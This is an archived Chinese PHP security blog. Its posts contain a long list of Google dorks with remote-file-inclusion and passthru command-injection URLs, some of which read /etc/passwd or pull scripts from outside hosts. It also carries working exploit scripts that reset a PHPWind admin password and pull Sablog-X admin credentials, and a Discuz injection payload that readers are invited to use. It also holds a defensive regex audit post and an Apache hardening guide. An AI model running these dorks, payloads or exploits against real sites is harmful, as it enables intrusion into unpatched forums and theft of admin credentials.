天蓝

天蓝
posts - 11, comments - 1, trackbacks - 0, articles - 0
  PHP博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

2008年8月15日

今天看一个项目代码,文件不多,不过每个文件中都N多注入,一个一个看实在太累,索性花了点时间,弄了个正则表达式,搜索出来,然后再将安全的筛选出去。省了不少时间的说。

1.查找select、update、delete语句
((select|SELECT|update|UPDATE|delete|DELETE)+.*(from|FROM|set|SET)+.*(where|WHERE)+.*)

查询语句,对于没有条件判断的基本不存在注入问题,因而仅搜索此语句即可
例子:
select * from user where

2.简单的数字型注入
((select|SELECT|update|UPDATE|delete|DELETE)+.*(from|FROM|set|SET)+.*(where|WHERE)+.*=[ ]?["]?["]?\$)

能找到select、update delete三种语句,5种格式的整形注入,如:
直接变量传入
select * from guess where id=$subject_id
update guess set is_valid=0 where id=$subject_id
delete from guess where id=$subject_id
=与变量之间存在空格
select * from guess where id= $subject_id
update guess set is_valid=0 where id= $subject_id
delete from guess where id= $subject_id
变量双引号
select * from guess where id="$subject_id"
update guess set is_valid=0 where id="$subject_id"
delete from guess where id="$subject_id"
=与双引号之间存在空格
select * from guess where id= "$subject_id"
update guess set is_valid=0 where id= "$subject_id"
delete from guess where id= "$subject_id"
=与引号、双引号之间存在空格
select * from guess where id= " $subject_id"
update guess set is_valid=0 where id= " $subject_id"
delete from guess where id= " $subject_id"

其实自己发现其他的一些漏洞也可以找到相应关键字寻找的,当然这些仅限于比较容易看出来的漏洞了,^_^。

posted @ 2008-08-15 08:52 jannock 阅读(308) | 评论 (0)编辑 收藏

2008年8月10日

来源:x140yu

1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurl:PNphpBB2 site:.org
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p=

7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=

10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d);&a=

15. allinurl:.php?bodyfile=

16. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

17. allinurl:modules.php?name=Forums
/modules.php?name=

18. allinurl:/default.php?page=home

19. allinurl:/folder.php?id=

20. allinurl:main.php?pagina=
/paginedinamiche/main.php?pagina=

21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by AllMyGuests")
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

22. allinurl:application.php?base_path=
/application.php?base_path=

23. allinurl:phplivehelper
/phplivehelper/initiate.php?abs_path=

24. allinurl:phpnuke
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=

26. keyword: "powered by smartblog" AND inurl:?page=login
/index.php?page=

27. allinurl:/forum/
/forum/admin/index.php?inc_conf=

28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=

29. allinurl:shoutbox/expanded.php filetype:php
/shoutbox/expanded.php?conf=

30. allinurl: /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=

31. keyword : "Powered by iUser"
/common.php?include_path=

32. allinurl: "static.php?load="
/static.php?load=

33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

34. keyworld: allinurl:/phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=

35. allinurl:/folder.php?id=
/classes.php?LOCAL_PATH=

36. phpGedView 2.65.1
I - PHP Injection or arbitrary file access
(HIGH Risk BUT user must be Admin)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/editconfig_gedcom.php?gedcom_conf
ig=../../../../../../etc/passwd
or
http://[target]/[phpGedView-directory]/editconfig_gedcom.php
POSTDATA: gedcom_config=../../../../../../etc/passwd

- -- HTTP Request --

Code impacted : editconfig_gedcom.php

61:if (empty($gedcom_config)) {
62: if (!empty($_POST["gedcom_config"])) $gedcom_config = $_POST["gedcom_config"];
63: else $gedcom_config = "config_gedcom.php";
64:}
65:
66:require($gedcom_config);

The both GET/POST requets will work evenif PHP register_globals is Off.

-------------------------------------------

II - PHP Injection
(HIGH Risk no authentication needed)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BAS
E_DIRECTORY=http://attacker&THEME_DIR=/

- -- HTTP Request --

Code impacted : [GED_File]_conf.php

123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }

The require call is only vulnerable when PHP register_globals is On.

In this case you have to obtain the name of the GEDCOM File used. Just perform
a http://[target]/session.php request the GEDCOM file will be in argument of the
login.php call.

The attacker has to create on his web site a directory call themes/standard, and
a file theme.php

For example: theme.php = <?php print "<?php phpinfo();?>" ;?>

and the request, will execute the phpinfo() command on the vulnerable target.

37. inurl:signup.php?usertype=pf
http://www.contoh.com/common.inc.php?CFG[libdir]=http://www.geocities.com/k4k3_rgb/test?cmd

non offiziell
http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BAS
E_DIRECTORY=http://attacker&THEME_DIR=/

- -- HTTP Request --

Code impacted : [GED_File]_conf.php

123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }

The require call is only vulnerable when PHP register_globals is On.

In this case you have to obtain the name of the GEDCOM File used. Just perform
a http://[target]/session.php request the GEDCOM file will be in argument of the
login.php call.

The attacker has to create on his web site a directory call themes/standard, and
a file theme.php

For example: theme.php = <?php print "<?php phpinfo();?>" ;?>

and the request, will execute the phpinfo() command on the vulnerable target.

37. inurl:signup.php?usertype=pf
http://www.contoh.com/common.inc.php?CFG[libdir]=http://www.geocities.com/k4k3_rgb/test?cmd

=============================================================================
/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/nphp/nphpd.php?nphp_config[LangFile]=

/include/db.php?GLOBALS[rootdp]=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&chem_absolu=

/index.php?from_market=Y&pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/cgi-bin/diary/sdy.cgi?md=past&tg=200405.dat|uname%20-a|

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/phpBB2/viewtopic.php?t=36&highlight=%2527.passthru($HTTP_GET_VARS[sh]).%2527&sh=ls%20-al

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/phpBB2/viewtopic.php?t=36&highlight=%2527.passthru($HTTP_GET_VARS[sh]).%2527&sh=ls%20-al

/forumlinux/viewtopic.php?t=29%20&highlight=%2527&highlight=%2527.passthru($HTTP_GET_VARS[CMD]).%2527&CMD=ls%20-al;

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/cgi-bin/site/session.cgi?page=links.html|cat /etc/passwd|

/forums/viewtopic.php?t=4&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=dir%20....

/phpBB2/viewtopic.php?t=7&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd

/forum/viewtopic.php?t=232&highlight=%2527.phpinfo().%2527

/viewtopic.php?t=1&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/allinurl:/index.php?page= site:*.dk

/allinurl:"pnphpbb2

/inurl:/allmyguest

/allinurl:/index.php?file= site:*.dk

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

posted @ 2008-08-10 09:33 jannock 阅读(1653) | 评论 (0)编辑 收藏

2008年8月6日

漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.phpwind.net

漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:

function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}

甚至不用注册账户,只要精心构造username即可利用此漏洞。

漏洞利用:80sec提供exploit如下:

import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"

漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
本站内容均为原创,转载请务必保留署名与链接!
phpwind任意修改管理员密码漏洞:http://www.80sec.com/phpwind-admin-pass-change-vul.html

posted @ 2008-08-06 18:30 jannock 阅读(115) | 评论 (0)编辑 收藏

作者:冰封浪子

由于发在blog上的漏洞资料给一位牛牛搞了.官方已出补丁.(由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误)
我很生气(mb日就日.tmd你共享个毛)
在这我说下过程:

if(defined('IN_DISCUZ')) {
exit('Access Denied');
}

define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/');

class Chinese {

var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'SourceLang' => '',
'TargetLang' => '',
'GBtoUnicode_table' => 'gb-unicode.table',
'BIG5toUnicode_table' => 'big5-unicode.table',
);

function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) {
$this->config['SourceLang'] = $this->_lang($SourceLang);
$this->config['TargetLang'] = $this->_lang($TargetLang);

if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) {
$this->iconv_enabled = true;
} else {
$this->iconv_enabled = false;
$this->OpenTable();
}
}

function _lang($LangCode) {
$LangCode = strtoupper($LangCode);

if(substr($LangCode, 0, 2) == ‘GB’) {
return ‘GBK’;
} elseif(substr($LangCode, 0, 3) == ‘BIG’) {
return ‘BIG5′;
} elseif(substr($LangCode, 0, 3) == ‘UTF’) {
return ‘UTF-8′;
} elseif(substr($LangCode, 0, 3) == ‘UNI’) {
return ‘UNICODE’;
}
}

function _hex2bin($hexdata) {
for($i=0; $i < strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}

chinese.class.php (utf-8不能利用)

searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit

以上各位自己修改去用吧!

posted @ 2008-08-06 18:30 jannock 阅读(545) | 评论 (0)编辑 收藏

漏洞说明:Sablog-X是一个采用PHP和MySQL构建的博客系统.作为 Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。

漏洞厂商:http://www.sablog.net

漏洞来源:http://www.80sec.com/release/sablog-sql-injection.txt

漏洞解析:在sablog的trackback.php中的转码函数

function iconv2utf($chs) {
global $encode;
if ($encode != 'utf-8') {
if (function_exists('mb_convert_encoding')) {
$chs = mb_convert_encoding($chs, 'UTF-8', $encode);
} elseif (function_exists('iconv')) {
$chs = iconv($encode, 'UTF-8', $chs);
}
}
return $chs;
}

存在问题,当$encode为GBK字符集的时候,用户提交%bf’将会被转化为一个正常的utf-8字符和一个单引号,如果数据未加处理进入数据库将导致SQL注射。

漏洞利用:80sec提供漏洞测试程序如下:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by SaBlog-X"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].’ host path code
host: target server (ip/hostname)
path: path to sablog-x
code: the last blog trackback gbk code
Example:
php ‘.$argv[0].’ localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw
+—————————————————————————+
‘);
exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];
$code = $argv[3];

$arr = explode(”\t”, base64_decode($code));
if (count($arr) != 4)
exit(”Exploit Failed!\n”);

$url = ‘http://’.$host.$path.’?action=show&id=’.$arr[0];

send();
preg_match(’#<a\shref=”1″\starget=”_blank”>([\S]+):([a-z0-9]{32})</a<#’, file_get_contents($url), $hash);

if ($hash)
exit(”Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”);
else
exit(”Exploit Failed!\n”);

function send()
{
global $host, $path, $code;

$cmd = ‘url=http://’.$host.$path.’&title=ryat%bf%27,’.time().’,1,1,(SELECT CONCAT(username,0×3a,password) FROM sablog_users WHERE userid=1),’.time().’,1,1)#&excerpt=ryat&blog_name=ryat’;

$message = “POST “.$path.”trackback.php?code=$code HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = ”;

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

漏洞状态:请等待官方补丁。
本站内容均为原创,转载请务必保留署名与链接!
安全天使sablog注射漏洞:http://www.80sec.com/sablog-sql-injectio.html

posted @ 2008-08-06 18:29 jannock 阅读(186) | 评论 (0)编辑 收藏

一.测试环境:
OS: Windowsxp sp2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.测试数据库结构:
-----start---
-- 数据库: `test`
--
-- --------------------------------------------------------
--
-- 表的结构 `userinfo`
--
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default ’1’,
`user` varchar(12) NOT NULL default ’heige’,
`pass` varchar(122) NOT NULL default ’123456’
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--
-- 导出表中的数据 `userinfo`
--
INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);
------end-------
三.测试模式:
1,变量没有带’’或""[MOD1]
<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=$p where user=’heige’";//<--$P没有使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "<p>SQL Query:$sql<p>";
?>
脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达
到修改groupid的目的:
那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass   |
+---------+-------+--------+
| 1       | heige | 123456 |
+---------+-------+--------+
1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或""[MOD2]
<?php
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "<p>SQL Query:$sql<p>";
?>
为了关闭’我们构造$p应该为123456’,groudid=’2 提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’
提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo;
+---------+-------+--------------------+
| groudid | user | pass               |
+---------+-------+--------------------+
| 2       | heige | 123456’,groudid=’1 |
+---------+-------+--------------------+
1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2:
<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result);    //$p的数据写入数据库
$sql= "select pass from userinfo where user=’heige’";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //把pass查询输出给$userinfo[0]
$sql ="update userinfo set pass=’$userinfo[0]’ where user=’heige’";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //把$userinfo[0] 再次update
?>
我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1
回mysql查询下 :
mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass   |
+---------+-------+--------+
| 1       | heige | 123456 |
+---------+-------+--------+
1 row in set (0.00 sec)
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:
update-->select-->update
四.实际模式
模式1:Discuz 2.0/2.2 register.php 注射
漏洞分析:http://4ngel.net/article/41.htm
Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm
模式2:phpwind 2.0.2和3.31e 权限提升漏洞
漏洞分析:
update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’)
|
v
select (jop.php)
|
v
updtate (jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe


posted @ 2008-08-06 18:29 jannock 阅读(274) | 评论 (0)编辑 收藏

2008年8月5日

一、正确维护和配置Apache服务器

  虽然Apache服务器的开发者非常注重安全性,不过由于其项目非常庞大,难免会存在安全隐患。因此正确维护和配置Apache WEB服务器就显得很重要了。我们应注意的一些问题:

  1、Apache服务器配置文件

  Apache Web服务器主要有三个配置文件,位于/usr/local/apache/conf目录下,这三个文件是:

  httpd.conf----->主配置文件

  srm.conf------>填加资源文件

  access.conf--->设置文件的访问权限

  2、Apache服务器的目录安全认证

  在Apache Server中是允许使用.htaccess做目录安全保护的,欲读取保护目录需要先键入正确的用户帐号与密码,这可以做专门管理网页存放的目录或做为会员区等。在保护的目录放置一个档案,档案名为.htaccss。

  AuthName “会员专区”

  AuthType “Basic”

  AuthUserFile “/var/tmp/xxx.pw”—>把password放在网站外,require valid-user到apache/bin目录,建立password档案% ./htpasswd -c /var/tmp/xxx.pw username1—>第一次建档要用参数“-c”% /htpasswd /var/tmp/xxx.pw username2,这样就可以保护目录内的内容,进入要用合法的用户。

  也可以采用在httpd.conf中加入:

  options indexes followsymlinks

  allowoverride authconfig

  order allow,deny

  allow from all

  3、Apache服务器访问控制

  我们就要看三个配置文件中的第三个文件了,即access.conf文件,它包含一些指令控制,允许什么用户访问Apache目录。应该把deny from all设为初始化指令,再使用allow from指令打开访问权限。

  order deny,allow

  deny from all

  allow from safechina.net

  设置允许来自某个域、IP地址或者IP段的访问。

  4、Apache服务器的密码保护问题

  我们再使用.htaccess文件把某个目录的访问权限赋予某个用户。系统管理员需要在httpd.conf或者rm.conf文件中,使用AccessFileName指令打开目录的访问控制。如:

  AuthName PrivateFiles

  AuthType Basic

  AuthUserFile /path/to/httpd/users

  require Phoenix

  # htpasswd -c /path/to/httpd/users Phoenix

  


二、设置Apache服务器的WEB和文件服务器

  我们在Apache服务器上存放WEB服务器的文件,供用户访问,并设置/home/ftp/pub目录为文件存放区域,用http://download.your.com/pub/来访问。在防火墙上设置apache反向代理技术,由防火墙代理访问。

  1、Apache服务器的设置

  Apache服务器采用默认配置。主目录为/home/httpd/html,主机域名为Phoenix.your.com, 且别名到www.your.com中,并设置srm.conf加一行别名定义,如下:

  Alias/pub/home/ftp/pub/

  更改默认应用程序类型定义如下:

  DefaultType application/octet-stream

  最后在/etc/httpd/conf/access.conf中增加一项定义:

  Options Indexes

  AllowOverride AuthConfig

  order allow,deny

  allow from all

  注意:Options Indexes允许在找不到index.html文件的情况下,允许列出目录/文件列表。AllowOverrideAuthConfig允许做基本的用户名和口令验证,这样的话,需要在/home/ftp/pub目录下放入.htaccess,内容如下:

  [root@ pub]#more.htaccess

  AuthName Branch Office Public Software Download Area

  AuthType Basic

  AuthUserFile/etc/.usrpasswd

  require valid-user

  用# htpasswd -c /etc/.usrpasswd user1,分别创建不同的,允许访问/pub下文件服务的外部用户名和口令。

  2、在防火墙上配置反向代理技术

  在/etc/httpd/conf/httpd.conf中加入NameVirtualHost xxx.xxx.xxx.xxx # xxx.xxx.xxx.xxx,这是防火墙外部在互联网上的永久IP地址:

  servername www.your.com

  errorlog /var/log/httpd/error_log

  transferlog /var/log/httpd/access_log

  rewriteengine on

  proxyrequests off

  usecanonicalname off

  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1  Apache服务器的IP地址

  servername http://download.your.com/pub/

  errorlog /var/log/httpd/download/error_log

  transferlog /var/log/httpd/download/access_log

  rewriteengine on

  proxyrequests off

  usecanonicalname off

  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1  Apache服务器的IP地址

  设置防火墙上的DNS,让download.your.com和www.your.com都指向防火墙的外部网地址xxx.xxx.xxx.xxx。用http://www.your.com访问主页,用http://download.your.com/pub/访问公共文件的下载区。

  注意:还需要在apache服务器主机上建立目录/var/log/httpd/download/,否则会出错。另外,也可以设置防火墙主机上的/home/httpd/html/index.html的属性为750来阻止访问,这可以防止外部用户能访问到防火墙上Apache服务器的http://www.your.com

posted @ 2008-08-05 18:38 jannock 阅读(178) | 评论 (0)编辑 收藏

2008年7月31日

之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。 Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http: //www.securereality.com.au /studyinscarlet.txt找到。
由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。
文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。
